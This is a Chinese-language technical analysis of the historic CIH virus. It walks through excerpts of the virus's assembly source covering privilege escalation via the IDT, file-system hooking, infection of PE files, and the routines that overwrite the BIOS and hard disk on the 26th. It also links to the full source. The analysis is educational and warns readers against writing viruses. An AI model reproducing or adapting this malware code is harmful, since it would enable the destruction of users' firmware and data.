关于CIH病毒
病毒简介
CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。这个病毒产自台湾,原集嘉通讯公司(技嘉子公司)手机研发中心主任工程师陈盈豪在其于台湾大同工学院念书期间制作。最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通过网络传播到全世界各个角落。
运行症状
首先,病毒会修政windows的SEH(SEH "Structured Exception Handling",即结构化异常处理)
病毒会修改它的内存,把cpu权限(Ring0)给自己(现在已经没用了,因为现在SEH无法修改)
有了cpu最高级权限,干什么都行
然后会调换windows打开程序的方式
当windows有程序打开是通知病毒
会把自己的代码写进程序。然后判断时间
时间到了就设置bios
然后清除bios(破坏BIOS行为只会在使用软跳线的电脑上成功执行),最后覆盖磁盘,系统就汐了(蓝屏)
源码
CIH的故事已经消逝很久了,它的源码却还能在互联网上找到。
源码可以在github上找到,网址如下:https://github.com/onx/CIH
分析
PE文件头
源码第一部分是文件头:
OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ..... db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS
就是PE文件的MZ文件头。
这段文件头的主要目的是为了符合PE(Portable Execute, 可移植执行文件格式)文件格式.我们常见的EXE,DLL,OCX等文件都必须符合微软规定的PE格式,这样Windows操作系统才能识别并执行,这里我们跳过不做分析,感兴趣的读者可以对照PE文件头和源码自行分析。网络上也有很多关于PE格式分析的文章。
另外,请各位读者注意,因为CIH的故事已经过去很久了,CIH所曾经使用的有些技术已经过时,但却能在今天找到借鉴,有些技术则没有过时,可谓生命力顽强,这一点我会在文章中一一指出,希望能供大家参考借鉴。
VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; *********************************************************
病毒真正开始运行是从VirusGame段开始的。
VirusGame这个段名称很有意思!作者完成这个病毒时是23岁(如今已是43岁!),还是少年人的心性,开发一个病毒,对作者而言就好像完成一个游戏一般。
可是时移事变,今天已经不是20年前!2018年,中华人民共和国网络安全法已经出台,开发病毒可能会造成严重的后果,不是一个道歉就能了事的,各位读者在这点上一定要树立一个正确的意识!一定要好好学习相关的法律,不要以身试法。
修改SEH
闲话少叙,接下来我们的分析从MyVirusStart开始。
MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax
程序的第一段是修改Windows的SEH(Structured Exception Handing)。首先,什么是SEH?为什么要修改SEH呢?
SEH,Structured Exception Handing, 结构化异常处理,是Windows操作系统的异常和分发处理机制.该机制的实现方式是将FS[0]指向一个链表,该链表告诉操作系统当出现异常的时候应该找谁处理。
类似于我们现实生活中的紧急联系人列表,如果应用程序出了什么问题,就交给链表中的一号紧急联系人处理,如果一号紧急联系人无法处理,就交给二号联系人。依次类推。当所有的异常处理函数都调用完成,而异常仍然没有处理掉,这时,操作系统就会调用默认的异常处理程序,通常是给出错误提示并关闭应用程序。
而修改SEH的原因我们会在稍后介绍。
以上代码通过修改FS[0]使得当前的SEH指向StopToRunVirusCode
SEH是Windows提供的异常处理机制,直至今天仍然在各个安全领域应用。
进入内核
; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi int HookExceptionNumber
接下来这段代码通过修改中断描述符表,获得CPU的ring0权限。
而在WinNT操作系统中,IDT所指向的内存已经无法修改,因此在执行这段代码时,会产生异常。也就是说,这种获取Ring0权限的方法,现在已经没有效果了。
因此,上段代码修改SEH,或者称为编辑SEH的目的就很明了了。
目的就在与识别当前的操作系统,如果发现是WinNT或以后的操作系统,就会自动产生异常并跳到StopToRunVirusCode,停止运行。
所以各位读者大可放心,CIH虽然威力巨大,可是在今天的操作系统上,已经无法感染了!当然,除非有变种。
当在win9x操作系统时,这段代码通过修改中断描述符表,使异常处理函数指向MyExceptionHook.最后一句
int HookExceptionNumber
则直接触发异常,进入MyExceptionHook。下面我们进入MyExceptionHook进行分析。
MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage
这里有一个小技巧。病毒使用dr0寄存器存放病毒的安装状态,dr0寄存器主要用于调试,在应用程序正常运行过程中一般不会修改。因此,将其作为一个全局的临时寄存器。
第一次进入MyExceptionHook时,因为jz的条件并不成立,并不会跳到InstallMyFileSystemApiHook, 而是跳到AllocateSystemMemoryPage进行内存的分配。
此后我们还会第二次回到MyExceptionHook,这时才会调用InstallMyFileSystemApiHook,安装系统钩子.
; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi
在调用AllocateSystemMemoryPage分配了系统内存后,接下来这段代码会将病毒代码复制到此前分配的系统内存中。
挂钩系统调用
; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again
接下来第二次调用int指令进入MyExceptionHook.接着会跳到InstallMyFileSystemApiHook.
InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init
顾名思义,以上代码就是把病毒的文件处理函数hook到系统调用中。采用的是一种已经被Windows废弃了的技术,叫做VXD,这种技术只能在win9x系统上才能使用,到了WinNT已经不能使用了。
但实际上原理是一样的,主要的目的是挂钩文件操作函数的系统调用,方法也大同小异,先获取旧的系统调用地址,使用我们的调用函数替换旧的函数,执行完我们的功能后回到旧的地址。
花开两枝,我们各表一支。到这里我们先记住,病毒安装了一个系统调用钩子,当执行文件操作的时候,会运行到我们的钩子函数里面。
这里我们看到,安装完钩子以后,会跳到ExitRing0Init,退出ring0状态。
ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd
退出Ring0之后接着向下走。
; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point
这时,打开中断并恢复之前被病毒修改的SEH,毕竟我们的中断已经关得够久了。
最后,如果是通过其他被感染的程序进来的,就回到之前程序的入口点继续执行,否则,直接ret退出。
接下来,我们分析之前挂钩的函数FileSystemApiHook;
当有文件读写调用时,Windows会调用被病毒替换的FileSystemApiHook.
因为是VXD的驱动程序,程序借鉴意义不大,到这里,我们加快速度,分析的粒度会粗一些。
首先根据系统调用的入参判断是否是打开文件调用。如果是打开文件调用则获取需要打开的文件的路径。
接着,作者用大概100行左右的汇编代码判断一个文件是否是PE文件,如果是PE文件就将病毒代码感染到文件中。
感染的方式将病毒代码写入PE文件,修改PE文件的签名,并修改入口点为病毒代码。
; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: ...... jmp WriteVirusCodeToFile
潜伏与发作
同时,当系统调用参数为cloasefile时,进行当前时间判断:
CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer IsKillComputer: ; Get Now Day from BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/????
在IsKillComputer可以看到CIH设计了一个潜伏策略,先感染,然后并不发作,以增加感染的机会,直到当前日期是26日时大家统一发作。
当时间悄然的来到26号时,CIH开始破坏BIOS和硬盘。
破坏BIOS的方法为:
1.将BIOS的内容映射到内存,然后设置BIOS可写。主要调用了IOForEEPROM和EnableEEPROMToWrite.
IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret
从上面的代码可以看到,CIH使用in,和out指令进行BIOS数据的修改。
而破坏硬盘的方法是利用了我们之前提到的VXD调用IOS_SendCommand。
KillHardDisk: ...... push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand ...... jmp LoopOfKillHardDisk
总结
最后,我们来梳理一下:
1.病毒得到执行后会修改IDT,进入内核。这应该算是Win9X系统的一个漏洞,在WinNT及以后的系统这种进入内核的方法已经失效。
3.进入内核的主要目的安装系统钩子,钩住文件读写调用,钩住系统调用后退出Ring0;
4.当有文件读写调用且文件是PE文件时,将病毒感染到PE文件中。
5.潜伏下来,直到每月的26日统一发作,开始破坏BIOS和硬盘数据。